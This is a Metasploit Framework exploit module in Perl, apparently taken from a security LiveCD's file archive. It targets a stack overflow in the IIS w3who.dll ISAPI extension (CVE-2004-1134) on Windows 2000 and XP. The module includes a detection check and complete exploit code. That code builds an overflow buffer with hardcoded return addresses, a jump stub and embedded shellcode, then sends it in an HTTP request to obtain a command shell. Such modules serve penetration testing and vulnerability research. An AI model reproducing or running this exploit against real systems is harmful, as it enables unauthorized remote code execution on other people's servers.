home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / iis_w3who_overflow.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  156 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::iis_w3who_overflow;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.     'Name'    => 'IIS w3who.dll ISAPI Overflow',
  20.     'Version' => '$Revision: 1.7 $',
  21.     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
  22.  
  23.     'Arch'  => [ 'x86' ],
  24.     'OS'    => [ 'win32', 'win2000', 'winxp' ],
  25.     'Priv'  => 0,
  26.  
  27.     'AutoOpts' => { 'EXITFUNC' => 'process' },
  28.     'UserOpts'  =>
  29.       {
  30.         'RHOST' => [1, 'ADDR', 'The target address'],
  31.         'RPORT' => [1, 'PORT', 'The target port', 80],
  32.         'URL'   => [1, 'DATA', 'The URL to the DLL', '/scripts/w3who.dll'],
  33.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  34.       },
  35.  
  36.     'Payload' =>
  37.       {
  38.         'Space'     => 632,
  39.         'BadChars'  => "\x00+&=%\x0a\x0d\x20",
  40.         'MinNops'   => 128,
  41.       },
  42.  
  43.     'Description'  => Pex::Text::Freeform(qq{
  44.         This module exploits a stack overflow in the w3who.dll ISAPI application.
  45.         This vulnerability was discovered Nicolas Gregoire and this code has been
  46.         successfully tested against Windows 2000 and Windows XP (SP2). When 
  47.         exploiting Windows XP, the payload must call RevertToSelf before it will
  48.         be able to spawn a command shell.
  49. }),
  50.  
  51.     'Refs'  =>  [
  52.         ['OSVDB', '12258'],
  53.         ['CVE', '2004-1134'],
  54.         ['URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html'],
  55.         ['MIL', '32'],
  56.         ['BID', '11820'],
  57.       ],
  58.  
  59.     'DefaultTarget' => 0,
  60.     'Targets' =>
  61.       [
  62.         ['Windows 2000 RESKIT DLL (Win2000)', 748,  0x01169f4a],  # pop, pop, ret magic
  63.         ['Windows 2000 RESKIT DLL (WinXP)',   748,  0x10019f4a],  # pop, pop, ret magic
  64.       ],
  65.  
  66.     'Keys' => ['iis'],
  67.  
  68.     'DisclosureDate' => 'Dec 6 2004',
  69.   };
  70.  
  71. sub new {
  72.     my $class = shift;
  73.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  74.     return($self);
  75. }
  76.  
  77. sub Check {
  78.     my $self = shift;
  79.     my $target_host = $self->GetVar('RHOST');
  80.     my $target_port = $self->GetVar('RPORT');
  81.     my $target_path = $self->GetVar('URL');
  82.  
  83.     my $s = Msf::Socket::Tcp->new
  84.       (
  85.         'PeerAddr'  => $target_host,
  86.         'PeerPort'  => $target_port,
  87.         'LocalPort' => $self->GetVar('CPORT'),
  88.         'SSL'       => $self->GetVar('SSL'),
  89.       );
  90.     if ($s->IsError) {
  91.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  92.         return $self->CheckCode('Connect');
  93.     }
  94.  
  95.     $s->Send("GET $target_path HTTP/1.1\r\nHost: $target_host:$target_port\r\n\r\n");
  96.  
  97.     my $r = $s->Recv(-1, 5);
  98.  
  99.     if ($r =~ /Access Token/)
  100.     {
  101.         $self->PrintLine("[*] Found $target_path ;)");
  102.         return $self->CheckCode('Detected');
  103.     } else {
  104.  
  105.         $self->PrintLine("The w3who.dll ISAPI does not appear to be installed");
  106.         return $self->CheckCode('Safe');
  107.     }
  108. }
  109.  
  110. sub Exploit {
  111.     my $self = shift;
  112.     my $target_host = $self->GetVar('RHOST');
  113.     my $target_port = $self->GetVar('RPORT');
  114.     my $target_path = $self->GetVar('URL');
  115.     my $target_idx  = $self->GetVar('TARGET');
  116.     my $shellcode   =$self->GetVar('EncodedPayload')->Payload;
  117.     my $target = $self->Targets->[$target_idx];
  118.  
  119.     $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
  120.  
  121.     my $pattern = Pex::Text::EnglishText(8192);
  122.     my $jmp = "\xe9".(pack('V', -641));
  123.  
  124.     substr($pattern, $target->[1] - 4, 4, "\x90\x90\xeb\x04");
  125.     substr($pattern, $target->[1]    , 4, pack('V', $target->[2]));
  126.     substr($pattern, $target->[1] + 4, length($jmp), $jmp);
  127.     substr($pattern, $target->[1] - 4 - length($shellcode), length($shellcode), $shellcode);
  128.  
  129.     my $request =
  130.       "GET $target_path?$pattern HTTP/1.1\r\n".
  131.       "Host: $target_host:$target_port\r\n\r\n";
  132.  
  133.     my $s = Msf::Socket::Tcp->new
  134.       (
  135.         'PeerAddr'  => $target_host,
  136.         'PeerPort'  => $target_port,
  137.         'LocalPort' => $self->GetVar('CPORT'),
  138.         'SSL'       => $self->GetVar('SSL'),
  139.       );
  140.     if ($s->IsError) {
  141.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  142.         return;
  143.     }
  144.  
  145.     $self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");
  146.     $s->Send($request);
  147.  
  148.     $self->PrintLine("[*] Waiting for a response...");
  149.     my $r = $s->Recv(-1, 5);
  150.     $s->Close();
  151.  
  152.     return;
  153. }
  154.  
  155. 1;
  156.